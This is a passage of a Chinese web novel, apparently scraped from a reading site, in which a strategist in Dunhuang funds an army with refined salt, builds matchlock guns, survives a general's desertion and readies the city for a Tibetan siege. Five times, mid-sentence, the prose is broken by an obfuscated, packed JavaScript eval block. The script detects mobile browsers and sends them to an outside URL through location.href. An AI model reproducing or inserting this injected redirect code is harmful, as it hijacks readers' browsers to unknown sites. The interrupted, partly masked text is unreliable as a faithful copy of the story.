“粮食、布匹、铁器、战马……” 陈平川的眼中,闪烁着光芒。 “有了钱,我们就能招募更多的士兵,打造更精良的铠甲和兵器。到时候,别说甘州回鹘,就是整个西域,谁敢与我们为敌?” 张烈和祝衡听得热血沸腾,仿佛已经看到了归义军称霸西域的那一天。 制盐的作坊,很快就建立了起来。 为了保密,作坊设立在敦煌城最核心的区域,由张烈的亲兵把守,任何人不得靠近。 而负责具体生产的,则是陈平川当初从奴隶市场救下的那对兄妹,阿蛮和阿虎。 经过这段时间的相处,陈平川发现,姐姐阿蛮,性格坚毅,做事沉稳细心,是个不可多得的管理人才。 而弟弟阿虎,虽然有些天真,但对数字极为敏感,心算能力超强。 陈平川便让阿蛮负责整个作坊的生产流程管理,让阿虎负责原料和成品的记账盘点。 两兄妹对陈平川感恩戴德,做事尽心尽力,很快就将作坊打理得井井有条。 第一批雪花盐生产出来后,陈平川让商队带了出去。 结果,在沙州的市场上,引起了巨大的轰动。 所有人都被这雪白如霜,纯净无杂的盐给惊呆了。 价格,一路飙升。 一袋雪花盐,甚至能换来十袋同等重量的粮食,或者一匹上好的西域大马。 订单,如雪片般飞来。 归义军的府库,以肉眼可见的速度,迅速充盈起来。 有了钱,一切都好办了。 张烈立刻下令,扩充军队,抚恤伤亡将士,更换老旧的兵器铠甲。 整个归义军,上上下下,士气高涨,焕然一新。 而陈平川,则把目光,投向了更远的地方。 他拿着赚来的大笔金钱,开始秘密招募来自中原和西域各地的能工巧匠。 他要做的,是另一件,足以改变整个西域格局的大事。 那就是,制造火器! …… 敦煌城外,一处戒备森严的秘密 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16131780|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山谷。 这里,是陈平川新建立的兵器工坊。 之所以选择在这里,而不是城内,一是为了保密,二是因为陈平川接下来要研究的东西,动静太大,也太危险。 这天,陈平川带着祝衡,走进了工坊。 工坊内,几十名铁匠正在热火朝天地忙碌着。 但他们打造的,不是刀枪剑戟,而是一些奇形怪状的铁管子。 “平川,这些就是你说的‘神兵’?”祝衡拿起一根粗糙的铁管,好奇地掂了掂。 这铁管一头粗,一头细,上面还有一个小孔,看起来不伦不类,不知道是做什么用的。 “王爷,这叫火铳,也叫**。”陈平川解释道。 “**?”祝衡更加疑惑了,“这东西,能**?” “能不能**,试试就知道了。”陈平川神秘一笑。 他之所以现在才开始研究火器,原因有很多。 在中原时,他身处京城,天子脚下,一举一动都在梁党和朝廷的监视之中。私造兵器,那可是谋反的大罪,他不敢冒这个险。 而且,制造火器,需要一些特殊的材料。 比如,高纯度的硝石和硫磺。 大业朝对这些战略物资的管控极为严格,民间很难搞到。 但到了西域,情况就完全不同了。 这里天高皇帝远,没人管他。 而且西域的戈壁和盐泽里,盛产硝石和硫磺矿。陈平川派人去搜罗了一番,很快就找到了品质上佳的矿源。 至于工匠,他用雪花盐换来的重金,从中原和粟特商人手里,挖来了不少顶尖的铁匠和铜匠。 天时、地利、人和,全都齐备了,划时代的武器,横空出世! 陈平川拿起一根已经完工的火铳,开始向祝衡演示。 “王爷请看,这火铳的原理,其实很简单。” 他一边说,一边从一个皮囊里,倒出黑色的粉末。 “**这东西你应该很熟悉,震天雷用的就是它。” “我们将**,从这铳口倒入。” 说着,他用一根长杆,将**捅实。 然后,又放入一颗小小的圆形铁弹。 “最后,在这火门处,撒上一些引火的**。” “准备工作,就完成了。” 他将火铳架在一个木架上,对准了远处一个五十步外的草人靶子。 第258章 让你试试,没让你直接爆头啊! “王爷,捂住耳朵。” 陈平川提醒了一句,然后拿起一根点燃的火绳,凑近了火门。 “嗤……” 火绳点燃了引药。 下一秒! “轰!!!” 一声惊天动地的巨响,在山谷中炸开! 祝衡只觉得耳边嗡的一声,脑袋都懵了。 一股浓烈的硝烟味,呛得他连连咳嗽。 只见那根黑乎乎的铁管子,喷出了一股长长的火舌。 而五十步外的那个草人靶子,胸口处,赫然多出了一个拳头大的窟窿! 整个靶子,都被那巨大的冲击力,给带得向后翻倒在地。 “这……这……” 祝衡震惊地看着这一幕,张大了嘴巴,半天说不出一句话来。 他戎马半生,见过的神兵利器不计其数。 什么削铁如泥的宝刀,什么百步穿杨的神弓。 可跟眼前这个会喷火打雷的铁管子比起来,那些东西,简直就是小孩子的玩具! 五十步的距离! 瞬间洞穿! 这是何等恐怖的威力! “这东西,要是用在战场上……”祝衡喃喃自语,他已经不敢想象那样的画面了。 成排的火铳手,对着冲锋的骑兵齐射。 那将是一场单方面的**! “王爷,这还只是最粗糙的第一代火铳。”陈平川也被这威力小小地惊了一下,不过表面上依旧平静。 “它的射程、精准度和装填速度,都还有很大的提升空间。” “我计划,在三个月内,打造出三百支合格的火铳,并训练出一支专门的火铳营。” “有了这支力量,我们归义军,才算真正有了立足西域的资本。” 祝衡看着陈平川,眼神里充满了敬畏。 这个年轻人,脑子里到底都装了些什么? 煮盐炼金,铸铁为雷……这些传说中的神仙手段,他竟然信手拈来。 “平川,让我试试!”祝衡回过神来,眼中爆发出炙热的光芒。 他已经迫不及待地,想要亲手感受一下这神兵的威力了。 陈平川笑着点了点头,手把手地教他如何装填**和弹丸。 祝衡学得很快。 他毕竟是见多识广的王爷,对兵器有着天生的敏感。 很快,他就掌握了装填的要领。 他学着陈平川的样子,将火铳架在木架上,开始瞄准。 “王爷,这火铳后坐力大,您要抵稳了。”陈平川在一旁提醒道。 祝衡深吸一口气,点了点头。 他的眼神,瞬间变得专注而锐利。 虽然已经年近五十,但那股属于皇室子孙的,沉稳而威严的气度,依然存在。 他屏住呼吸,三点一线,瞄准,点火! “轰!” 又是一声巨响。 祝衡的肩膀被巨大的后坐力震得向后一仰,但他死死地撑住了,没有倒下。 远处的草人靶子,再次应声而倒。 这一次,弹孔的位置,赫然在草人的头部! 一击爆头! 陈平川的眼睛,瞬间亮了。 “王爷……你以前练过?” 这精准度,也太夸张了吧! 他自己试射的时候,能打中草人靶子的躯干,就已经算不错了。 祝衡,竟然第一枪,就打中了头部? 这简直是天生的神**啊! 祝衡自己也愣住了。 他放下火铳,看着自己的双手,有些不敢相信。 “我……我也不知道。”他摇了摇头,“就是感觉,当我举起这火铳,对准目标的时候,心里有一种很奇妙的感觉,好像……好像那靶子就是我身体的一部分,我能清晰地感觉到**会飞向哪里。” 陈平川听得啧啧称奇。 天赋! 这就是**天赋啊! 有些人,天生就是为了某种东西而生的。 祝衡,或许就是天生的狙击手! “王爷,您再试试这个。”陈平川兴奋地又让人抬来一个一百步外的靶子。 祝衡再次举起了火铳。 这一次,他更加沉稳了。 “轰!” 一百步外,草人靶子的胸口,炸开一个洞。 虽然没有爆头,但在一百步的距离上,能有如此精准度,已经堪称神迹了。 “好!好啊!”陈平川忍不住拍手叫好,“王爷,你这天赋,不去当神**,真是屈才了!” 祝衡的脸上,也露出了久违的笑容。 那是一种找到了新的价值和目标的笑容。 自从逃到西域,他一直觉得自己是个废人,是陈平川的累赘。 他空有王爷的身份,却无力改变任何事。 这种无力感,一直深深地折磨着他。 但现在,他似乎找到了自己新的位置。 他可以成为一名战士! 一名手持神兵,能在百步之外,取上将首级的神**! 从那天起,祝衡就像是着了魔一样,整天泡在兵器工坊里。 他废寝忘食地研究火铳的构造,和陈平川一起,探讨如何改进射击的精准度。 他还主动承担起了训练第一批火铳手的任务。 在他的指导下,士兵们的射击水平,突飞猛进。 而他自己,更是到了出神入化的地步。 一百五十步内,指哪打哪,弹无虚发! 归义军的将士们,都对他敬若神明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16131781|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,私下里,都称他为“神枪王爷”。 看着祝衡重新焕发了生机,陈平川由衷地为他感到高兴。 与此同时,归义军的实力,也在飞速地膨胀着。 有了雪花盐这个大杀器,钱粮源源不断。 有了火铳这个秘密武器,军队的战斗力,也在发生着质的飞跃。 陈平川还利用新盟友的关系,帮助周边几个饱受欺压的小部落,打退了几次小规模的盗匪和敌对部落的骚扰。 虽然只是小打小闹,但却让这些盟友,对归义军的信任和好感,与日俱增。 一切,都在朝着最好的方向发展。 不过陈平川知道,平静的日子,不会太久。 归义军的崛起,必然会引起那些真正强大势力的警惕。 一场更大的风暴,正在酝酿之中。 而他,必须在这场风暴到来之前,做好万全的准备。 …… 时间,在戈壁的风沙中,悄然流逝。 转眼,一年过去了。 这一年里,归义军治下的敦煌,发生了翻天覆地的变化。 靠着雪花盐贸易带来的巨大利润,张烈不仅将归义军扩充到了一万人,还为所有士兵都换上了精良的铁甲和兵器。 城池被修缮得固若金汤,粮仓里堆满了粮食,足够全城军民吃上三年。 百姓安居乐业,商旅往来不绝。 敦煌,已经隐隐有了几分河西霸主的模样。 而陈平川一手打造的火铳营,更是成为了归义军的王牌。 五百名火铳手,在陈平川的指导与祝衡的严苛训练下,已经可以做到三段式轮流射击,形成一道密不透风的死亡火网。 在几次清剿马贼的战斗中,火铳营都发挥了决定性的作用,打得那些来去如风的马贼闻风丧胆。 归义军与白羚部以及周边小部落的联盟,也日益巩固。 陈平川时常会派出小股部队,帮助他们解决一些麻烦,并用远低于市价的雪花盐和粮食,跟他们交换牛羊马匹。 这种恩威并施的手段,让所有盟友都对归义军死心塌地。 尤其是阿丽娜的白羚部,在归义军的帮助下,日子过得一天比一天好。 祝衡也时常会去白羚部的营地,教他们部落的年轻人学习汉字。 他和阿丽娜之间的感情,也在这种频繁的往来中,迅速升温。 虽然两人谁都没有说破,但那份情愫,早已是司马昭之心,路人皆知了。 整个归义军势力,呈现出一片欣欣向荣的景象。 然而,树欲静而风不止。 就在所有人都沉浸在安逸和富足中时,一个来自南方的消息,打破了这份宁静。 第259章 不但要救,还要把吐蕃打残! 吐蕃,出事了。 原本四分五裂,内斗不休的吐蕃各部,突然冒出来一个雄才大略的新赞普。 这位名叫朗达玛的年轻赞普,以铁血手腕,在短短半年内,就统一了青藏高原上的所有部落,重新建立起一个强大的吐蕃王朝。 俗话说,新王登基三把火。 这第一把火,就烧向了与吐蕃接壤的河西走廊。 这天,阿丽娜派出的信使,快马加鞭,冲进了敦煌城。 信使脸上满是惊恐和焦急。 “我要求见张将军,陈军师!” “吐蕃赞普朗达玛,派遣使者,前往我部!” “要求我白羚部,立刻臣服!每年上缴牛羊一万头,战马一千匹!” “而且……而且他还要求,我们的女王陛下,必须在一个月内,嫁给他为妃!” 消息,如同晴天霹雳,在议事厅里炸响。 所有将领,脸色大变。 “什么?!”张烈猛地站了起来,一脸的震怒,“这朗达玛,欺人太甚!” 祝衡更是气得浑身发抖,他腰间的羌笛,被他捏得咯吱作响。 让阿丽娜去给那个什么赞普当妃子? 这比杀了他还让他难受! “女王怎么说?”陈平川冷静地问道。 信使喘着粗气,说道:“我们女王,当场就拒绝了!她砍下了吐蕃使者的一只耳朵,让他滚回去告诉朗达玛,我们月氏人的女王,宁死,也绝不嫁给吐蕃的豺狼!” “好!”祝衡忍不住大喝一声,“有骨气!” 张烈也赞许地点了点头。 但随即,他的眉头,就紧紧地锁了起来。 “女王拒绝了,吐蕃人,必然不会善罢甘休。” 信使的脸上,露出了绝望的神色:“是的,将军。吐蕃使者放下话,若是一个月后,女王陛下还不就范,他们就要发兵,踏平我们白羚部的每一顶帐篷,杀光我们部落的每一个男人,把我们的女人和孩子,都变成他们的奴隶!” “他们这是在逼我们啊!” “张将军!陈军师!”信使“扑通”一声,跪了下来,对着张烈和陈平川连连叩首。 “我们白羚部,只有控弦之士千余人,根本不是吐蕃大军的对手!” “求求你们,看在盟约的份上,救救我们吧!” “我们女王说了,只要归义军肯出兵相助,我白羚部,愿世代为归义军镇守南疆,永不背叛!” 看着跪在地上,泣不成声的信使,议事厅里的将领们,陷入了沉默。 所有人的目光,都下意识地看向了张烈和陈平川。 救,还是不救? 按照盟约,他们有义务出兵。 而且,白羚部是他们最重要的盟友,是他们南方的屏障。 唇亡齿寒的道理,谁都懂。 可问题是,对手是吐蕃啊! 是那个曾经压得整个大业朝都喘不过气的吐蕃! 如今他们虽然刚刚统一,但百足之虫,死而不僵。 根据情报,朗达玛麾下,至少有五万精锐的铁甲骑兵。 而归义军,就算加上所有盟友,能战之兵,也不过一万五千人。 其中,真正的精锐主力,只有归义军本部的一万人。 用一万步兵,去对抗五万骑兵? 这仗,怎么打? 一个不好,就是全军覆没的下场! “将军,三思啊!” 沉默了许久,张武第一个站了出来。 经过一年的时间,他虽然对陈平川的才能心服口服,但骨子里的保守和排外,并没有改变。 “吐蕃人兵强马壮,我们……我们不是对手啊!” “为了一个区区白羚部,把我们归义军数万将士的性命都搭进去,不值得啊!” 他的话,立刻引起了不少将领的附和。 “是啊,将军,张武将军说得对。我们好不容易才有了今天的好日子,不能就这么毁了啊!” “白羚部是我们的盟友不假,可我们也没必要为了她们,去跟吐蕃人拼命吧?” “大不了,我们把白羚部的人,都接到敦煌城里来。吐蕃人总不敢来攻打我们敦煌吧?” 畏战的情绪,像瘟疫一样,在将领们中间蔓延开来。 他们怕了。 被吐蕃这个名字,给吓怕了。 祝衡听着这些话,气得脸色铁青。 “你们……你们这群懦夫!”他指着那些将领,怒喝道,“盟约上写得清清楚楚,同生共死!如今盟友有难,你们却想着退缩?” “你们把归义军的信义,当成什么了?” “要是今天我们不救白羚部,明天,还有哪个部落,敢相信我们?我们就会成为整个西域的孤家寡人!” 然而,他的话,并没有起到太大的作用。 一个将领小声嘀咕道:“祝王爷,您说得轻巧。您又不是军人,不知道战场的残酷。那可是五万吐蕃铁骑啊,不是五万头羊!” “你!”祝衡气结。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16136759|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他这才悲哀地发现,自己在这里,根本没有什么话语权。 所有人都看向了张烈,等待着他的最终决定。 张烈紧锁着眉头,他的内心,比任何人都要挣扎。 救,可能全军覆没。 不救,则信义扫地,联盟崩溃。 他下意识地,将目光投向了从始至终,都一言不发的陈平川。 “军师,你的意思呢?” 一瞬间,整个议事厅的目光,都聚焦在了陈平川身上。 所有人都想听听,这位总能创造奇迹的年轻军师,这次会给出什么样的答案。 陈平川缓缓站起身,目光平静地扫过在场的每一个人。 他没有立刻回答张烈的问题,而是反问跪在地上的信使:“吐蕃人,给了你们一个月的时间,对吗?” 信使连连点头:“是,是一个月。” “那也就是说,我们,也还有一个月的时间做准备。”陈平川的声音不大,却清晰地传到了每个人的耳朵里。 他的话,让原本紧张的气氛,稍稍缓和了一些。 是啊,还有一个月的准备时间。 “军师,您的意思是……”张烈试探着问道。 陈平川的嘴角,勾起一抹自信的弧度。 “我的意思,很简单。” “救!” 一个字,斩钉截铁,不容置疑。 “不但要救,还要打!” “不但要打,还要打赢!” “不但要打赢,还要把吐蕃人,打怕!打残!让他们十年之内,不敢再踏足河西半步!” 陈平川的话,掷地有声,充满了强大的自信和感染力。 原本还畏畏缩缩的将领们,都被他这股气势给镇住了,一个个目瞪口呆。 张武第一个反应过来,急道:“军师!你不是在开玩笑吧?那可是五万吐蕃铁骑!我们拿什么去打?” “拿什么?”陈平川冷笑一声,“就拿我们这一万归义军,就拿我们手里的火铳和震天雷!” “五万铁骑,听起来是吓人。可他们是骑兵,我们是步兵,我们守城,他们攻城。我们有坚城可依,有地利之便,怕什么?” “军师,那不一样啊!”张武还是不甘心,“吐蕃人甲坚兵利,悍不畏死,攻城经验丰富,不可轻敌!” “而且,我们一旦出兵,就是倾巢而出。万一……万一我们输了,那敦煌城,可就空了!到时候,甘州回鹘趁虚而入怎么办?我们连个退路都没有了!” 第260章 临阵**!最狠的刀来自背后! 张武的担忧,并非没有道理。 这也是在场大部分将领,最害怕的一点。 他们害怕失败,害怕失去现在拥有的一切。 “退路?”陈平川看着张武,眼神变得有些冷。 “张武将军,我再问你一个问题。如果我们今天,因为害怕,放弃了白羚部,会怎么样?” 张武愣了一下,下意识地说道:“让他们自求多福……” “然后呢?”陈平川追问,“我们眼睁睁地看着吐蕃人,吞并南山地区,将白羚部的故土,变成他们进攻我们的跳板?” “我们眼睁睁地看着其他十几个盟友,因为我们的背信弃义,而心寒齿冷,离我们而去,甚至转投吐蕃?” “最后,我们归义军,成了真正的孤家寡人。被东边的回鹘,和南边的吐蕃,两面夹击,困死在敦煌这座孤城里?” “到了那个时候,你所谓的退路,又在哪里?” 陈平川的一连串反问,让张武和所有“主和派”将领哑口无言,冷汗直流。 他们只看到了眼前的风险,却没有看到,不作为,才是最大的风险! “军师的意思是,吐蕃人的真正目标,不是白羚部,而是我们归义军?”张烈一点就透,立刻明白了陈平川的言下之意。 “没错。”陈平川点头,“白羚部,只是一个借口,一个试探。” “他们在试探我们的底线,也在试探我们这个联盟的成色。” “如果我们退了,他们就会得寸进尺,步步紧逼。到时候,我们再想打,就已经失去了最好的时机,也失去了所有的盟友。” “所以,这一仗,我们非打不可!” “我们不仅要打,还要打得漂亮,打出威风!让整个西域都知道,我归义军的盟友,不是谁都能动的!” “只有这样,才能震慑宵小,才能让更多的部落,真心实意地依附我们。我们的联盟,才能真正地稳如泰山!” 一番话,说得在场众人,热血沸腾。 之前那些畏战的将领,此刻也觉得脸上火辣辣的。 是啊,军师说得对。 他们只想着自己的安危,却忘了信义二字。 要是真成了孤家寡人,被回鹘和吐蕃两面夹击,那才是真正的死路一条。 祝衡更是激动地站了起来,大声道:“平川说得对!这一仗,必须打!我祝衡,愿为先锋,与吐蕃人决一死战!” 看着群情激奋的场面,张烈的心,也定了下来。 他知道,陈平川又一次说服了所有人。 然而,就在他准备下令备战之时,张武却突然做出了一个让所有人都意想不到的举动。 他“扑通”一声,双膝跪地,对着张烈,重重地磕了一个头。 “将军!”他的声音,带着一丝悲怆和决绝。 “末将,恕难从命!” 整个大厅,瞬间安静了下来。 所有人都震惊地看着张武。 临阵抗命? 这可是死罪! 张烈也愣住了,他不敢相信自己的耳朵:“张武,你……你说什么?” 张武抬起头,眼圈发红,态度却十分坚定。 “将军!末将不是怕死!末将这条命,是您给的,随时可以还给您!” “但是,末将不能眼睁睁地看着,您带着归义军的兄弟,去走一条必死的路!” “我们归义军的使命,是光复河西,是重归大业!不是为了什么狗屁蛮夷,去跟吐蕃人拼命!” 他猛地站起身,环视着四周的将领,大声吼道:“兄弟们!我们是汉人!我们的根,在中原!” “这个姓陈的,巧舌如簧,蛊惑将军,要我们放弃故土,在这不毛之地建什么国,跟一群蛮子称兄道弟!这是数典忘祖,这是大逆不道!” “我张武,绝不答应!” “愿意跟我回中原的,现在,就跟我走!” “我们自己杀出一条血路,回归大业!就算死,也要死在回归故土的路上!” 说完,他转身,大步向议事厅外走去。 “张武!你给老子站住!”张烈气得浑身发抖,拔出腰间的佩刀,就要冲上去。 陈平川一把拉住了他,对他摇了摇头。 “让他走。” 陈平川知道,就算强行留下张武,这人也是个危险的定时**,不如放手让他走。 在张武的煽动下,议事厅里,有七八名将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16136760|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 领,犹豫了一下,也咬着牙,跟着他走了出去。 很快,城中响起了紧急集合的号角声。 张武带着他麾下的一千多名亲信,都是军中的老兵,也是最顽固的“归乡派”,公然脱离了归义军,朝着北方的玉门关方向,扬长而去。 一场**,猝不及防地发生了。 归义军,在一夜之间,损失了近千名最精锐的百战老兵。 实力,大打折扣。 “将军!”剩下的将领们,又惊又怒,纷纷看向张烈。 张烈的脸色,难看到了极点。 他看着张武等人离去的背影,气得眼前一黑,摇摇欲坠。 “将军!” 众**惊失色,连忙上前扶住他。 张烈看着那支远去的队伍,强忍着心中的痛苦地说道:“走了也好。” “一支心不齐的军队,是打不了胜仗的。” “现在,留下的,都是愿意与我们同生共死的兄弟。” 他转过身,看着脸色平静的陈平川,和一众忧心忡忡的将领,沉声道:“传我将令!自今日起,敦煌城防及出征吐蕃一应事宜,皆由陈军师全权节制!有违令者,军法从事!” 陈平川拱手领命,当即宣布:“命阿丽娜女王,立刻收拢部落族人,带上所有牛羊物资,退入敦煌城!” “我们,坚壁清野,以逸待劳!” “我倒要看看,他吐蕃的五万铁骑,如何能啃得动我敦煌这块硬骨头!” …… 张武的叛离,像一块巨石,投入了敦煌这片看似平静的湖面,激起了滔天巨浪。 上千名百战老兵的离去,对归的全军士气是一个沉重的打击。 悲观和恐慌的情绪,在城中蔓延。 许多人都觉得,归义军要垮台。 内部**,强敌压境,这简直是末日之兆。 然而,在这种危急关头,陈平川却展现出了惊人的冷静和掌控力。 他首先做的,就是稳定军心。 他让张烈修养身体,自己则手持张烈的帅印,接管了敦煌城所有的防务。 他没有去追究那些动摇的将领,也没有去安抚恐慌的士兵。 他只是做了一件事。 第261章 旌旗蔽日围孤城,重赏之下皆勇夫 陈平川打开了归义军的府库,将堆积如山的雪花盐、粮食,全部搬到了校场上。 然后,他当着所有将士的面,宣布了三条命令。 第一,所有战死将士的抚恤金,翻三倍!家中父母妻儿,由归义军供养终身! 第二,所有参战的士兵,无论胜败,战后每人赏价值十两白银的雪花盐,或者粮食,想要什么悉听尊便。 第三,此战,若能斩杀一名吐蕃甲士,再赏价值十两的奖励!斩杀百夫长,赏银百两奖励!斩杀千夫长,赏银千两,官升三级!若能斩杀吐蕃主将,赏银万两,封副将! 归义军刚刚起家,白银积累还不足,但雪花盐和粮食还是不少的,一样可以用来充当军饷赏赐。 重赏之下,必有勇夫。 当士兵们看到那小山一样高的雪花盐和粮食时,眼睛都红了。 虽然不是直接给钱,但盐和粮食也是硬通货,一点不必银子差。 于是,对吐蕃的恐惧,对未来的担忧,全都被抛到了九霄云外。 他们现在脑子里只有一个念头:杀敌!领赏! 原本低迷的士气,瞬间被点燃,变得空前高涨。 处理完军心问题,陈平川立刻开始了紧张的战前布置。 另一边,阿丽娜在接到命令后,当机立断,放弃了经营多年的部落营地,带着数千族人和所有的家当,退入了敦煌城。 当她看到祝衡亲自在城门口迎接她,并且为她的族人安排好了住所和食物时,这位坚强的月氏女王,眼圈红了。 她知道,自己没有信错人。 归义军,是真正值得托付的盟友。 与此同时,吐蕃人即将大举入侵的消息,也传遍了整个河西走廊。 那些刚刚和归义军结盟的小部落,顿时慌了神。 他们派来使者,日夜不停地前来敦煌打探消息。 当他们得知,归义军不仅没有放弃白羚部,反而要倾尽全力,与吐蕃决一死战时,这些部落的首领们,都陷入了深深的震撼和犹豫之中。 他们既佩服归义军的信义和勇气,又害怕吐蕃人的强大。 所以,很多首领选择继续观望。 不是他们喜欢当墙头草,实在是因为太弱小,只有依附强者他们才能生存。 就在整个河西暗流涌动之时,吐蕃人的大军,终于来了。 朗达玛或许是觉得,对付一个小小的归义军,还用不着他亲自动手。 他派出了自己最信任的弟弟,也是吐蕃军中最勇猛的战将,噶尔·钦陵,率领三万精锐,气势汹汹地杀向敦煌。 这三万精锐,并非虚数。 其中,有两万是身披铁甲的重骑兵,一人双马,冲击力惊人。 还有一万是擅长山地作战的步兵,他们装备着皮甲和长刀,行动敏捷,极为难缠。 除了吐蕃本部的大军,噶尔·钦陵还裹挟了几个已经臣服于他的羌人和吐谷浑部落,组成了一支近万人的仆从军。 号称四万大军,实际上是三万精锐加一万炮灰。 但即便如此,这也是一股足以横扫整个河西的恐怖力量。 吐蕃大军一路北上,势如破竹。 他们首先冲到了白羚部被遗弃的营地。 看到空无一人的营地,噶尔·钦陵勃然大怒。 他下令,一把火烧光了所有的帐篷和草场,将这里变成了一片焦土。 杀鸡儆猴! 他要用这种方式,告诉所有西域的部落,这就是违抗他吐蕃赞普的下场! 做完这一切后,吐蕃大军毫不停歇,直扑敦煌。 几天后,黑压压的军队,如同潮水一般,涌现在了敦煌城外的地平线上。 旌旗蔽日,杀气冲天。 连绵不绝的营帐,从城外一直延伸到远方,看不到尽头。 当敦煌城头的守军,看到这恐怖的阵仗时,不少人都吓得两腿发软,脸色发白。 即便是刚刚被重赏刺激起来的士气,也在这泰山压顶般的气势面前,被削弱了大半。 归义军加上白羚部的战士,总兵力,刚满一万人。 一万对三万。 三倍的兵力差距! 这已经不是一场势均力敌的战争了。 这简直就是一场一边倒的**。 “军师……这……这怎么打?”一名年轻的将领,声音颤抖地问陈平川。 陈平川站在城楼上,手持千里镜,平静地观察着城外的敌军。 他的脸上,没有丝毫的紧张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16136761|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和恐惧。 仿佛城下面对的,不是三万如狼似虎的敌军,而是一群待宰的羔羊。 “慌什么?”他放下千里镜,淡淡地说道,“兵在多,不在精。一群乌合之众,来得再多,也不过是给我们送人头,送战功罢了。” 他的镇定,像一剂强心针,让身边惶恐的将领们,稍微安定了一些。 祝衡和阿丽娜,也并肩站在他的身旁。 祝衡的手里,紧紧握着一杆专门为他量身打造的,加长加粗的特制火铳。 这是陈平川设计的“**”的雏形,射程和精度,都远超普通的火铳。 阿丽娜则背着长弓,腰挎弯刀,英姿飒爽,眼中燃烧着复仇的火焰。 “军师,我已经准备好了!”张烈披着一身沉重的铁甲,走到陈平川面前,沉声说道。 经过几天的调养,他的气色好了很多,但眉宇间的忧虑,却丝毫未减。 他将归义军的未来,将数万军民的性命,全都压在了陈平川一个人的身上。 这是一场豪赌。 赢了,归义军将一飞冲天,成为真正的西域霸主。 输了,便是万劫不复,身死族灭。 “请将军为大家训话!”陈平川拱手相请。 张烈点点头,转过身,面对着城楼上所有严阵以待的将士。 他的声音,通过一个简易的铁皮喇叭,传遍了整个城头。 “兄弟们!” “我知道,你们很多人,现在都很害怕!” “害怕城外那三万吐蕃大军!” “但是,我告诉你们!该害怕的,不是我们,是他们!” “因为,他们不知道,他们即将面对的,是什么!” 他指向城外,指向那些密密麻麻的敌军营帐。 “他们以为,我们敦煌城,还是以前那个任人宰割的孤城!” “他们错了!” “今天,我们就要让他们知道,犯我归义者,虽远必诛!” “我们就要让他们用鲜血和生命,来记住一个道理!” “敦煌城,是英雄的城!是他们的埋骨之地!” “此战,有我无敌!” “杀!” 张烈猛地拔出腰间的佩刀,直指苍天,发出一声惊天动地的怒吼。 第262章 铁骑踏阵,地火焚天 “杀!杀!杀!” 城楼上,近三千名战士,被他激昂的言语所感染,齐齐举起手中的兵器,发出了山呼海啸般的咆哮。 声震四野,杀气冲霄! 城外,吐蕃军阵中。 主将噶尔·钦陵听到城头传来的咆哮,不屑地冷笑一声。 “困兽之斗,徒劳挣扎。” 他对身旁的副将说道:“传我命令,明日一早,全军攻城!” “我要在一天之内,拿下敦煌!” “城中汉人,男子全部杀光,女子和财物,赏给最先登城的勇士!” “是!” 副将领命而去。 一场决定西域未来格局的惨烈血战,已是一触即发。 夜色,笼罩了大地。 敦煌城,像一头蛰伏的巨兽,在黑暗中,静静地等待着黎明的到来。 …… 夜,深沉如墨。 吐蕃人的营地里,篝火连绵,人声鼎沸。 他们根本没把小小的敦煌城放在眼里,正在大口吃肉,大碗喝酒,提前庆祝着即将到来的胜利。 而在敦煌城内,却是一片肃杀的寂静。 陈平川正和大家忙碌着。 他要利用这最后的一夜,为吐蕃人准备一份“大礼”。 城墙上,火把通明。 